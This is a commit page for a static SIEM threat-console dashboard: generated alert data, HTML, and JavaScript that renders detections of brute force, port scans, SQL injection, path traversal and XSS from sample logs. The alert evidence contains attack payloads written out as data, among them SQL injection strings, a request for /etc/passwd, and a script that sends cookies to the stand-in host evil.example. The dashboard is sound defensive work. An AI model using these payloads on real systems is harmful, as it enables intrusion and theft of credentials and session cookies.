Upload files to "dashboard"

هذا الالتزام موجود في:
2026-07-29 01:08:37 +00:00
الأصل 466da0ba68
التزام 2c13a41bd7
5 ملفات معدلة مع 1649 إضافات و0 حذوفات

348
dashboard/data.js Normal file
عرض الملف

@@ -0,0 +1,348 @@
// Auto-generated by siem_analyzer.py -- do not edit by hand
const SIEM_DATA = {
"generated_at": "2026-07-29T00:57:48.516747Z",
"meta": {
"endpoints": [
"web-server (endpoint-1)",
"firewall (endpoint-2)",
"ssh-auth (endpoint-3)"
],
"lines_parsed": {
"web-server (endpoint-1)": 45,
"firewall (endpoint-2)": 34,
"ssh-auth (endpoint-3)": 27
}
},
"stats": {
"total_alerts": 17,
"by_severity": {
"critical": 9,
"high": 5,
"medium": 3,
"low": 0
},
"unique_malicious_ips": 4,
"total_events_parsed": 106
},
"alerts": [
{
"id": "ALT-0012",
"timestamp": "2026-07-27T10:07:41",
"endpoint": "ssh-auth (endpoint-3)",
"src_ip": "198.51.100.234",
"alert_type": "BRUTE_FORCE_SSH",
"severity": "high",
"description": "12 failed SSH login attempts within 300s trying 9 usernames (admin, administrator, backup, guest, oracle, postgres)",
"evidence": [
"Jul 27 10:07:41 app-srv-05 sshd[10201]: Failed password for invalid user admin from 198.51.100.234 port 39001 ssh2",
"Jul 27 10:07:43 app-srv-05 sshd[10202]: Failed password for invalid user admin from 198.51.100.234 port 39002 ssh2",
"Jul 27 10:07:45 app-srv-05 sshd[10203]: Failed password for invalid user administrator from 198.51.100.234 port 39003 ssh2",
"Jul 27 10:07:47 app-srv-05 sshd[10204]: Failed password for invalid user user from 198.51.100.234 port 39004 ssh2",
"Jul 27 10:07:49 app-srv-05 sshd[10205]: Failed password for invalid user guest from 198.51.100.234 port 39005 ssh2"
]
},
{
"id": "ALT-0006",
"timestamp": "2026-07-27T10:06:11",
"endpoint": "web-server (endpoint-1)",
"src_ip": "192.0.2.77",
"alert_type": "SQL_INJECTION",
"severity": "critical",
"description": "Sql Injection attempt detected in request to /api/users?id=1'%20OR%20'1'='1",
"evidence": [
"192.0.2.77 - - [27/Jul/2026:10:06:11 +0000] \"GET /api/users?id=1'%20OR%20'1'='1 HTTP/1.1\" 500 640 \"-\" \"python-requests/2.31\""
]
},
{
"id": "ALT-0009",
"timestamp": "2026-07-27T10:06:00",
"endpoint": "web-server (endpoint-1)",
"src_ip": "192.0.2.77",
"alert_type": "HIGH_REQUEST_RATE",
"severity": "medium",
"description": "21 requests from a single IP within 60s (possible scraping/DoS/automation)",
"evidence": [
"192.0.2.77 - - [27/Jul/2026:10:06:00 +0000] \"GET /api/data?page=1 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
"192.0.2.77 - - [27/Jul/2026:10:06:01 +0000] \"GET /api/data?page=2 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
"192.0.2.77 - - [27/Jul/2026:10:06:01 +0000] \"GET /api/data?page=3 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
"192.0.2.77 - - [27/Jul/2026:10:06:02 +0000] \"GET /api/data?page=4 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
"192.0.2.77 - - [27/Jul/2026:10:06:02 +0000] \"GET /api/data?page=5 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\""
]
},
{
"id": "ALT-0016",
"timestamp": "2026-07-27T10:06:00",
"endpoint": "web-server (endpoint-1)",
"src_ip": "192.0.2.77",
"alert_type": "BLACKLISTED_IP_ACTIVITY",
"severity": "critical",
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
"evidence": [
"192.0.2.77 - - [27/Jul/2026:10:06:00 +0000] \"GET /api/data?page=1 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\""
]
},
{
"id": "ALT-0013",
"timestamp": "2026-07-27T10:05:24",
"endpoint": "ssh-auth (endpoint-3)",
"src_ip": "192.0.2.77",
"alert_type": "ACCOUNT_COMPROMISE_SUSPECTED",
"severity": "critical",
"description": "Successful SSH login as 'root' immediately following a brute-force burst from the same IP -- account may be compromised",
"evidence": [
"Jul 27 10:05:24 app-srv-05 sshd[10111]: Accepted password for root from 192.0.2.77 port 41011 ssh2"
]
},
{
"id": "ALT-0011",
"timestamp": "2026-07-27T10:05:12",
"endpoint": "ssh-auth (endpoint-3)",
"src_ip": "192.0.2.77",
"alert_type": "BRUTE_FORCE_SSH",
"severity": "high",
"description": "10 failed SSH login attempts within 300s trying 7 usernames (admin, deploy, oracle, postgres, root, test)",
"evidence": [
"Jul 27 10:05:12 app-srv-05 sshd[10101]: Failed password for invalid user admin from 192.0.2.77 port 41001 ssh2",
"Jul 27 10:05:13 app-srv-05 sshd[10102]: Failed password for invalid user root from 192.0.2.77 port 41002 ssh2",
"Jul 27 10:05:14 app-srv-05 sshd[10103]: Failed password for invalid user test from 192.0.2.77 port 41003 ssh2",
"Jul 27 10:05:15 app-srv-05 sshd[10104]: Failed password for invalid user oracle from 192.0.2.77 port 41004 ssh2",
"Jul 27 10:05:16 app-srv-05 sshd[10105]: Failed password for invalid user ubuntu from 192.0.2.77 port 41005 ssh2"
]
},
{
"id": "ALT-0015",
"timestamp": "2026-07-27T10:05:12",
"endpoint": "ssh-auth (endpoint-3)",
"src_ip": "192.0.2.77",
"alert_type": "BLACKLISTED_IP_ACTIVITY",
"severity": "critical",
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
"evidence": [
"Jul 27 10:05:12 app-srv-05 sshd[10101]: Failed password for invalid user admin from 192.0.2.77 port 41001 ssh2"
]
},
{
"id": "ALT-0010",
"timestamp": "2026-07-27T10:05:01",
"endpoint": "firewall (endpoint-2)",
"src_ip": "192.0.2.77",
"alert_type": "PORT_SCAN",
"severity": "high",
"description": "Port scan detected: 20 distinct destination ports probed against 10.0.0.5 within 120s (17 denied, 3 allowed)",
"evidence": [
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33001 DST=10.0.0.5 DPT=20 PROTO=TCP ACTION=DENY",
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33002 DST=10.0.0.5 DPT=21 PROTO=TCP ACTION=DENY",
"2026-07-27 10:05:02 SRC=192.0.2.77 SPT=33003 DST=10.0.0.5 DPT=22 PROTO=TCP ACTION=ALLOW",
"2026-07-27 10:05:02 SRC=192.0.2.77 SPT=33004 DST=10.0.0.5 DPT=23 PROTO=TCP ACTION=DENY",
"2026-07-27 10:05:03 SRC=192.0.2.77 SPT=33005 DST=10.0.0.5 DPT=25 PROTO=TCP ACTION=DENY"
]
},
{
"id": "ALT-0014",
"timestamp": "2026-07-27T10:05:01",
"endpoint": "firewall (endpoint-2)",
"src_ip": "192.0.2.77",
"alert_type": "BLACKLISTED_IP_ACTIVITY",
"severity": "critical",
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
"evidence": [
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33001 DST=10.0.0.5 DPT=20 PROTO=TCP ACTION=DENY"
]
},
{
"id": "ALT-0017",
"timestamp": "2026-07-27T10:05:01",
"endpoint": "correlation-engine",
"src_ip": "192.0.2.77",
"alert_type": "MULTI_VECTOR_ATTACK",
"severity": "critical",
"description": "IP 192.0.2.77 triggered alerts across 3 different endpoints (firewall (endpoint-2), ssh-auth (endpoint-3), web-server (endpoint-1)) -- consistent with a coordinated, multi-stage attack (recon -> exploitation -> access)",
"evidence": []
},
{
"id": "ALT-0008",
"timestamp": "2026-07-27T10:03:01",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.99",
"alert_type": "RECON_SCANNER",
"severity": "medium",
"description": "Automated vulnerability scan detected (nikto): 7 probe requests against paths such as /admin, /admin.php, /phpmyadmin/",
"evidence": [
"203.0.113.99 - - [27/Jul/2026:10:03:01 +0000] \"GET /admin HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
"203.0.113.99 - - [27/Jul/2026:10:03:02 +0000] \"GET /admin.php HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
"203.0.113.99 - - [27/Jul/2026:10:03:03 +0000] \"GET /phpmyadmin/ HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
"203.0.113.99 - - [27/Jul/2026:10:03:04 +0000] \"GET /.env HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
"203.0.113.99 - - [27/Jul/2026:10:03:05 +0000] \"GET /wp-login.php HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\""
]
},
{
"id": "ALT-0005",
"timestamp": "2026-07-27T10:01:12",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "PATH_TRAVERSAL",
"severity": "high",
"description": "Path Traversal attempt detected in request to /download?file=../../../../etc/passwd",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:12 +0000] \"GET /download?file=../../../../etc/passwd HTTP/1.1\" 403 210 \"-\" \"sqlmap/1.7.2#stable\""
]
},
{
"id": "ALT-0004",
"timestamp": "2026-07-27T10:01:09",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "XSS",
"severity": "high",
"description": "Xss attempt detected in request to /search?q=<script>document.location='http://evil.example/c?'+document.cookie<\/script>",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:09 +0000] \"GET /search?q=<script>document.location='http://evil.example/c?'+document.cookie<\/script> HTTP/1.1\" 200 998 \"-\" \"sqlmap/1.7.2#stable\""
]
},
{
"id": "ALT-0003",
"timestamp": "2026-07-27T10:01:06",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "SQL_INJECTION",
"severity": "critical",
"description": "Sql Injection attempt detected in request to /products?id=1'%20AND%20SLEEP(5)--",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:06 +0000] \"GET /products?id=1'%20AND%20SLEEP(5)-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\""
]
},
{
"id": "ALT-0002",
"timestamp": "2026-07-27T10:01:04",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "SQL_INJECTION",
"severity": "critical",
"description": "Sql Injection attempt detected in request to /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users--",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:04 +0000] \"GET /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\""
]
},
{
"id": "ALT-0001",
"timestamp": "2026-07-27T10:01:02",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "SQL_INJECTION",
"severity": "critical",
"description": "Sql Injection attempt detected in request to /login.php?user=admin'%20OR%20'1'='1'--",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:02 +0000] \"GET /login.php?user=admin'%20OR%20'1'='1'-- HTTP/1.1\" 401 512 \"-\" \"sqlmap/1.7.2#stable\""
]
},
{
"id": "ALT-0007",
"timestamp": "2026-07-27T10:01:02",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "RECON_SCANNER",
"severity": "medium",
"description": "Automated vulnerability scan detected (sqlmap): 5 probe requests against paths such as /login.php?user=admin'%20OR%20'1'='1'--, /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users--, /products?id=1'%20AND%20SLEEP(5)--",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:02 +0000] \"GET /login.php?user=admin'%20OR%20'1'='1'-- HTTP/1.1\" 401 512 \"-\" \"sqlmap/1.7.2#stable\"",
"203.0.113.66 - - [27/Jul/2026:10:01:04 +0000] \"GET /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\"",
"203.0.113.66 - - [27/Jul/2026:10:01:06 +0000] \"GET /products?id=1'%20AND%20SLEEP(5)-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\"",
"203.0.113.66 - - [27/Jul/2026:10:01:09 +0000] \"GET /search?q=<script>document.location='http://evil.example/c?'+document.cookie<\/script> HTTP/1.1\" 200 998 \"-\" \"sqlmap/1.7.2#stable\"",
"203.0.113.66 - - [27/Jul/2026:10:01:12 +0000] \"GET /download?file=../../../../etc/passwd HTTP/1.1\" 403 210 \"-\" \"sqlmap/1.7.2#stable\""
]
}
],
"malicious_ips": [
{
"ip": "192.0.2.77",
"threat_score": 72,
"severity_counts": {
"critical": 6,
"high": 2,
"medium": 1,
"low": 0
},
"total_alerts": 9,
"alert_types": [
"ACCOUNT_COMPROMISE_SUSPECTED",
"BLACKLISTED_IP_ACTIVITY",
"BRUTE_FORCE_SSH",
"HIGH_REQUEST_RATE",
"MULTI_VECTOR_ATTACK",
"PORT_SCAN",
"SQL_INJECTION"
],
"endpoints_involved": [
"firewall (endpoint-2)",
"ssh-auth (endpoint-3)",
"web-server (endpoint-1)"
],
"first_seen": "2026-07-27T10:05:01",
"last_seen": "2026-07-27T10:06:11",
"known_threat_intel": "Listed in external threat-intel feed (example seed entry)"
},
{
"ip": "203.0.113.66",
"threat_score": 42,
"severity_counts": {
"critical": 3,
"high": 2,
"medium": 1,
"low": 0
},
"total_alerts": 6,
"alert_types": [
"PATH_TRAVERSAL",
"RECON_SCANNER",
"SQL_INJECTION",
"XSS"
],
"endpoints_involved": [
"web-server (endpoint-1)"
],
"first_seen": "2026-07-27T10:01:02",
"last_seen": "2026-07-27T10:01:12",
"known_threat_intel": null
},
{
"ip": "198.51.100.234",
"threat_score": 5,
"severity_counts": {
"critical": 0,
"high": 1,
"medium": 0,
"low": 0
},
"total_alerts": 1,
"alert_types": [
"BRUTE_FORCE_SSH"
],
"endpoints_involved": [
"ssh-auth (endpoint-3)"
],
"first_seen": "2026-07-27T10:07:41",
"last_seen": "2026-07-27T10:07:41",
"known_threat_intel": null
},
{
"ip": "203.0.113.99",
"threat_score": 2,
"severity_counts": {
"critical": 0,
"high": 0,
"medium": 1,
"low": 0
},
"total_alerts": 1,
"alert_types": [
"RECON_SCANNER"
],
"endpoints_involved": [
"web-server (endpoint-1)"
],
"first_seen": "2026-07-27T10:03:01",
"last_seen": "2026-07-27T10:03:01",
"known_threat_intel": null
}
]
};

121
dashboard/index.html Normal file
عرض الملف

@@ -0,0 +1,121 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SIEM // Threat Console</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="console">
<header class="console-header">
<div class="brand">
<div class="brand-mark">
<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<circle cx="12" cy="12" r="9.5" stroke="#3FA7FF" stroke-width="1.4"/>
<circle cx="12" cy="12" r="5.5" stroke="#3FA7FF" stroke-width="1.1" opacity="0.55"/>
<circle cx="12" cy="12" r="1.6" fill="#FF3B4E"/>
<line x1="12" y1="12" x2="18.5" y2="8.2" stroke="#FF3B4E" stroke-width="1.4" stroke-linecap="round"/>
</svg>
</div>
<div class="brand-text">
<p class="eyebrow">Security Operations</p>
<h1>SIEM<span class="slash">/</span>Threat&nbsp;Console</h1>
</div>
</div>
<div class="header-status">
<div class="status-item">
<span>Status</span>
<span class="value live-dot">Monitoring</span>
</div>
<div class="status-item">
<span>Report generated</span>
<span class="value" id="generated-at"></span>
</div>
<div class="status-item">
<span>Endpoints</span>
<span class="value" id="endpoint-count"></span>
</div>
<button class="btn" id="refresh-btn" title="Reload siem_report.json">&#8635; Refresh</button>
</div>
</header>
<section class="stat-grid" id="stat-grid" aria-label="Alert summary"></section>
<section class="panel-row">
<div class="panel">
<div class="panel-title">
<h2>Threat Radar</h2>
<span class="hint">closer = higher score</span>
</div>
<div class="radar-wrap">
<svg id="radar-svg" viewBox="0 0 300 300" width="280" height="280" role="img" aria-label="Radar plot of top malicious IPs"></svg>
</div>
<div class="radar-legend" id="radar-legend"></div>
</div>
<div class="panel">
<div class="panel-title">
<h2>Top Malicious IPs</h2>
<span class="hint" id="ip-count-hint"></span>
</div>
<ul class="ip-list" id="ip-list"></ul>
<div class="sev-meter">
<div class="panel-title" style="margin-top:20px;">
<h2>Severity Mix</h2>
</div>
<div class="sev-meter-bar" id="sev-meter-bar"></div>
<div class="sev-meter-labels" id="sev-meter-labels"></div>
</div>
</div>
</section>
<section class="filter-bar">
<input type="text" id="search-input" placeholder="Search IP, alert type, or description…" aria-label="Search alerts">
<select id="severity-filter" aria-label="Filter by severity">
<option value="">All severities</option>
<option value="critical">Critical</option>
<option value="high">High</option>
<option value="medium">Medium</option>
<option value="low">Low</option>
</select>
<select id="endpoint-filter" aria-label="Filter by endpoint">
<option value="">All endpoints</option>
</select>
</section>
<section class="panel alerts-panel">
<div class="panel-title">
<h2>Alerts</h2>
<span class="hint" id="alert-count-hint"></span>
</div>
<div class="table-scroll">
<table class="alerts">
<thead>
<tr>
<th>Time</th>
<th>Severity</th>
<th>Type</th>
<th>Source IP</th>
<th>Endpoint</th>
<th>Description</th>
</tr>
</thead>
<tbody id="alerts-tbody"></tbody>
</table>
</div>
</section>
<footer class="console-footer">
<span>siem_analyzer.py → dashboard · static demo, no backend required</span>
<span id="data-source-note">Loading data…</span>
</footer>
</div>
<script src="data.js"></script>
<script src="script.js"></script>
</body>
</html>

361
dashboard/script.js Normal file
عرض الملف

@@ -0,0 +1,361 @@
/* ==========================================================================
SIEM Threat Console — dashboard logic
Loads siem_report.json (falls back to embedded data.js so the dashboard
still works when opened directly via file://), then renders every panel.
Security note: alert descriptions/evidence are LOG DATA -- they may
literally contain attacker-supplied strings like "<script>...". Every
place that injects log-derived text into the DOM uses textContent /
createElement, never innerHTML, so the console itself can't be XSS'd by
the very payloads it's reporting on.
========================================================================== */
const SEVERITY_ORDER = ["critical", "high", "medium", "low"];
const SEVERITY_COLOR = {
critical: "#FF3B4E",
high: "#FF8C42",
medium: "#FFD23F",
low: "#3FA7FF",
};
const SEVERITY_CLASS = { critical: "crit", high: "high", medium: "med", low: "low" };
let REPORT = null;
let expandedRowId = null;
document.addEventListener("DOMContentLoaded", () => {
loadData();
document.getElementById("refresh-btn").addEventListener("click", loadData);
document.getElementById("search-input").addEventListener("input", renderTable);
document.getElementById("severity-filter").addEventListener("change", renderTable);
document.getElementById("endpoint-filter").addEventListener("change", renderTable);
});
async function loadData() {
setSourceNote("loading…");
try {
const res = await fetch(`siem_report.json?_=${Date.now()}`, { cache: "no-store" });
if (!res.ok) throw new Error("fetch failed");
REPORT = await res.json();
setSourceNote("live: siem_report.json");
} catch (err) {
if (typeof SIEM_DATA !== "undefined") {
REPORT = SIEM_DATA;
setSourceNote("embedded data.js (serve over http:// to enable live fetch)");
} else {
setSourceNote("no data found");
return;
}
}
renderAll();
}
function setSourceNote(text) {
document.getElementById("data-source-note").textContent = text;
}
function renderAll() {
renderHeader();
renderStatCards();
renderRadar();
renderSeverityMeter();
renderIpList();
populateEndpointFilter();
renderTable();
}
/* ---------------------------------------------------------------- header */
function renderHeader() {
const gen = new Date(REPORT.generated_at);
document.getElementById("generated-at").textContent = isNaN(gen)
? REPORT.generated_at
: gen.toLocaleString();
document.getElementById("endpoint-count").textContent = REPORT.meta.endpoints.length;
}
/* ------------------------------------------------------------ stat cards */
function renderStatCards() {
const s = REPORT.stats;
const cards = [
{ label: "Total Alerts", value: s.total_alerts, cls: "neutral" },
{ label: "Critical", value: s.by_severity.critical, cls: "crit" },
{ label: "High", value: s.by_severity.high, cls: "high" },
{ label: "Medium", value: s.by_severity.medium, cls: "med" },
{ label: "Low", value: s.by_severity.low, cls: "low" },
{ label: "Malicious IPs", value: s.unique_malicious_ips, cls: "neutral" },
];
const grid = document.getElementById("stat-grid");
grid.textContent = "";
cards.forEach((c) => {
const card = el("div", { class: `stat-card ${c.cls}` });
card.appendChild(el("p", { class: "label", text: c.label }));
card.appendChild(el("p", { class: "num", text: String(c.value) }));
grid.appendChild(card);
});
}
/* ------------------------------------------------------------- IP hashing */
function hashIpToAngle(ip) {
let h = 0;
for (let i = 0; i < ip.length; i++) h = (h * 31 + ip.charCodeAt(i)) >>> 0;
return h % 360;
}
function topSeverityOf(ipInfo) {
return SEVERITY_ORDER.find((s) => ipInfo.severity_counts[s] > 0) || "low";
}
/* ------------------------------------------------------------------ radar */
const SVG_NS = "http://www.w3.org/2000/svg";
function svgEl(tag, attrs) {
const node = document.createElementNS(SVG_NS, tag);
Object.entries(attrs || {}).forEach(([k, v]) => node.setAttribute(k, v));
return node;
}
function renderRadar() {
const svg = document.getElementById("radar-svg");
svg.textContent = "";
const cx = 150, cy = 150;
const rings = [40, 75, 110, 140];
rings.forEach((r) => {
svg.appendChild(svgEl("circle", {
cx, cy, r, fill: "none", stroke: "#1A2432", "stroke-width": 1,
}));
});
// crosshairs
[0, 90, 180, 270].forEach((deg) => {
const rad = (deg * Math.PI) / 180;
svg.appendChild(svgEl("line", {
x1: cx, y1: cy,
x2: cx + 140 * Math.cos(rad), y2: cy + 140 * Math.sin(rad),
stroke: "#161F2B", "stroke-width": 1,
}));
});
// sweep
const sweep = svgEl("g", { class: "radar-sweep" });
sweep.appendChild(svgEl("line", {
x1: cx, y1: cy, x2: cx, y2: cy - 140, stroke: "#3FA7FF", "stroke-width": 1.5, opacity: 0.7,
}));
const wedge = svgEl("path", {
d: `M ${cx} ${cy} L ${cx} ${cy - 140} A 140 140 0 0 1 ${cx + 140 * Math.sin((35 * Math.PI) / 180)} ${cy - 140 * Math.cos((35 * Math.PI) / 180)} Z`,
fill: "#3FA7FF", opacity: 0.08,
});
sweep.appendChild(wedge);
svg.appendChild(sweep);
const ips = REPORT.malicious_ips.slice(0, 8);
const maxScore = ips.length ? ips[0].threat_score : 1;
ips.forEach((info) => {
const angle = hashIpToAngle(info.ip);
const rad = (angle * Math.PI) / 180;
const norm = maxScore > 0 ? info.threat_score / maxScore : 0;
const radius = 128 - norm * 95; // higher score -> nearer centre
const x = cx + radius * Math.cos(rad);
const y = cy + radius * Math.sin(rad);
const sev = topSeverityOf(info);
const color = SEVERITY_COLOR[sev];
if (sev === "critical") {
svg.appendChild(svgEl("circle", {
cx: x, cy: y, r: 10, fill: "none", stroke: color, "stroke-width": 1.2,
class: "radar-ping",
}));
}
svg.appendChild(svgEl("circle", { cx: x, cy: y, r: 4.5, fill: color }));
const label = svgEl("text", {
x: x + (Math.cos(rad) >= 0 ? 8 : -8),
y: y + 3,
fill: "#8592A3",
"font-family": "JetBrains Mono, monospace",
"font-size": 9,
"text-anchor": Math.cos(rad) >= 0 ? "start" : "end",
});
label.textContent = info.ip;
svg.appendChild(label);
});
const legend = document.getElementById("radar-legend");
legend.textContent = "";
const present = new Set(ips.map(topSeverityOf));
SEVERITY_ORDER.filter((s) => present.has(s)).forEach((s) => {
const span = el("span");
const dot = el("span", { class: "legend-dot" });
dot.style.background = SEVERITY_COLOR[s];
span.appendChild(dot);
span.appendChild(document.createTextNode(s));
legend.appendChild(span);
});
}
/* ------------------------------------------------------------- sev meter */
function renderSeverityMeter() {
const bar = document.getElementById("sev-meter-bar");
const labels = document.getElementById("sev-meter-labels");
bar.textContent = "";
labels.textContent = "";
const s = REPORT.stats.by_severity;
const total = REPORT.stats.total_alerts;
if (total === 0) {
bar.appendChild(el("div", { class: "seg none" }));
} else {
SEVERITY_ORDER.forEach((sev) => {
const count = s[sev];
if (count > 0) {
const seg = el("div", { class: `seg ${SEVERITY_CLASS[sev]}` });
seg.style.flexGrow = String(count);
bar.appendChild(seg);
}
});
}
SEVERITY_ORDER.forEach((sev) => {
const item = el("span");
const dot = el("span", { class: "legend-dot" });
dot.style.background = SEVERITY_COLOR[sev];
item.appendChild(dot);
item.appendChild(document.createTextNode(`${sev} · ${s[sev]}`));
labels.appendChild(item);
});
}
/* --------------------------------------------------------------- IP list */
function renderIpList() {
const list = document.getElementById("ip-list");
list.textContent = "";
const ips = REPORT.malicious_ips;
document.getElementById("ip-count-hint").textContent = `${ips.length} tracked`;
if (ips.length === 0) {
list.appendChild(el("li", { text: "No malicious IPs detected." }));
return;
}
const maxScore = ips[0].threat_score || 1;
ips.slice(0, 10).forEach((info, idx) => {
const row = el("li", { class: "ip-row" });
row.appendChild(el("span", { class: "ip-rank", text: String(idx + 1) }));
row.appendChild(el("span", { class: "ip-addr", text: info.ip }));
const track = el("span", { class: "ip-bar-track" });
const fill = el("span", { class: "ip-bar-fill" });
fill.style.width = `${Math.max(6, (info.threat_score / maxScore) * 100)}%`;
fill.style.background = SEVERITY_COLOR[topSeverityOf(info)];
track.appendChild(fill);
row.appendChild(track);
row.appendChild(el("span", { class: "ip-score", text: String(info.threat_score) }));
list.appendChild(row);
});
}
/* --------------------------------------------------------------- filters */
function populateEndpointFilter() {
const select = document.getElementById("endpoint-filter");
const current = select.value;
const endpoints = Array.from(new Set(REPORT.alerts.map((a) => a.endpoint))).sort();
select.textContent = "";
select.appendChild(el("option", { value: "", text: "All endpoints" }));
endpoints.forEach((ep) => select.appendChild(el("option", { value: ep, text: ep })));
select.value = current || "";
}
/* ------------------------------------------------------------------ table */
function renderTable() {
const tbody = document.getElementById("alerts-tbody");
tbody.textContent = "";
const q = document.getElementById("search-input").value.trim().toLowerCase();
const sevFilter = document.getElementById("severity-filter").value;
const epFilter = document.getElementById("endpoint-filter").value;
const filtered = REPORT.alerts.filter((a) => {
if (sevFilter && a.severity !== sevFilter) return false;
if (epFilter && a.endpoint !== epFilter) return false;
if (q) {
const hay = `${a.src_ip} ${a.alert_type} ${a.description} ${a.endpoint}`.toLowerCase();
if (!hay.includes(q)) return false;
}
return true;
});
document.getElementById("alert-count-hint").textContent =
`${filtered.length} / ${REPORT.alerts.length} alerts`;
if (filtered.length === 0) {
const tr = el("tr", { class: "empty-row" });
const td = el("td", { text: "No alerts match your filters." });
td.colSpan = 6;
tr.appendChild(td);
tbody.appendChild(tr);
return;
}
filtered.forEach((a) => {
const tr = el("tr", { class: a.id === expandedRowId ? "expanded" : "" });
tr.appendChild(el("td", { class: "ts", text: formatTs(a.timestamp) }));
const sevTd = el("td");
sevTd.appendChild(el("span", { class: `badge ${a.severity}`, text: a.severity }));
tr.appendChild(sevTd);
const typeTd = el("td");
typeTd.appendChild(el("span", { class: "type-tag", text: a.alert_type }));
tr.appendChild(typeTd);
tr.appendChild(el("td", { class: "ip", text: a.src_ip }));
tr.appendChild(el("td", { class: "endpoint", text: a.endpoint }));
tr.appendChild(el("td", { class: "desc", text: a.description }));
tr.addEventListener("click", () => {
expandedRowId = expandedRowId === a.id ? null : a.id;
renderTable();
});
tbody.appendChild(tr);
if (expandedRowId === a.id) {
const evTr = el("tr", { class: "evidence-row" });
const evTd = el("td");
evTd.colSpan = 6;
const box = el("div", { class: "evidence-box" });
if (a.evidence && a.evidence.length) {
box.textContent = a.evidence.join("\n");
} else {
box.textContent = "No raw log lines attached to this alert (derived/correlated finding).";
}
evTd.appendChild(box);
evTr.appendChild(evTd);
tbody.appendChild(evTr);
}
});
}
function formatTs(iso) {
const d = new Date(iso);
if (isNaN(d)) return iso;
const pad = (n) => String(n).padStart(2, "0");
return `${d.getFullYear()}-${pad(d.getMonth() + 1)}-${pad(d.getDate())} `
+ `${pad(d.getHours())}:${pad(d.getMinutes())}:${pad(d.getSeconds())}`;
}
/* ------------------------------------------------------------------ util */
function el(tag, opts) {
const node = document.createElement(tag);
opts = opts || {};
if (opts.class) node.className = opts.class;
if (opts.text !== undefined) node.textContent = opts.text;
if (opts.value !== undefined) node.value = opts.value;
return node;
}

347
dashboard/siem_report.json Normal file
عرض الملف

@@ -0,0 +1,347 @@
{
"generated_at": "2026-07-29T00:57:48.516747Z",
"meta": {
"endpoints": [
"web-server (endpoint-1)",
"firewall (endpoint-2)",
"ssh-auth (endpoint-3)"
],
"lines_parsed": {
"web-server (endpoint-1)": 45,
"firewall (endpoint-2)": 34,
"ssh-auth (endpoint-3)": 27
}
},
"stats": {
"total_alerts": 17,
"by_severity": {
"critical": 9,
"high": 5,
"medium": 3,
"low": 0
},
"unique_malicious_ips": 4,
"total_events_parsed": 106
},
"alerts": [
{
"id": "ALT-0012",
"timestamp": "2026-07-27T10:07:41",
"endpoint": "ssh-auth (endpoint-3)",
"src_ip": "198.51.100.234",
"alert_type": "BRUTE_FORCE_SSH",
"severity": "high",
"description": "12 failed SSH login attempts within 300s trying 9 usernames (admin, administrator, backup, guest, oracle, postgres)",
"evidence": [
"Jul 27 10:07:41 app-srv-05 sshd[10201]: Failed password for invalid user admin from 198.51.100.234 port 39001 ssh2",
"Jul 27 10:07:43 app-srv-05 sshd[10202]: Failed password for invalid user admin from 198.51.100.234 port 39002 ssh2",
"Jul 27 10:07:45 app-srv-05 sshd[10203]: Failed password for invalid user administrator from 198.51.100.234 port 39003 ssh2",
"Jul 27 10:07:47 app-srv-05 sshd[10204]: Failed password for invalid user user from 198.51.100.234 port 39004 ssh2",
"Jul 27 10:07:49 app-srv-05 sshd[10205]: Failed password for invalid user guest from 198.51.100.234 port 39005 ssh2"
]
},
{
"id": "ALT-0006",
"timestamp": "2026-07-27T10:06:11",
"endpoint": "web-server (endpoint-1)",
"src_ip": "192.0.2.77",
"alert_type": "SQL_INJECTION",
"severity": "critical",
"description": "Sql Injection attempt detected in request to /api/users?id=1'%20OR%20'1'='1",
"evidence": [
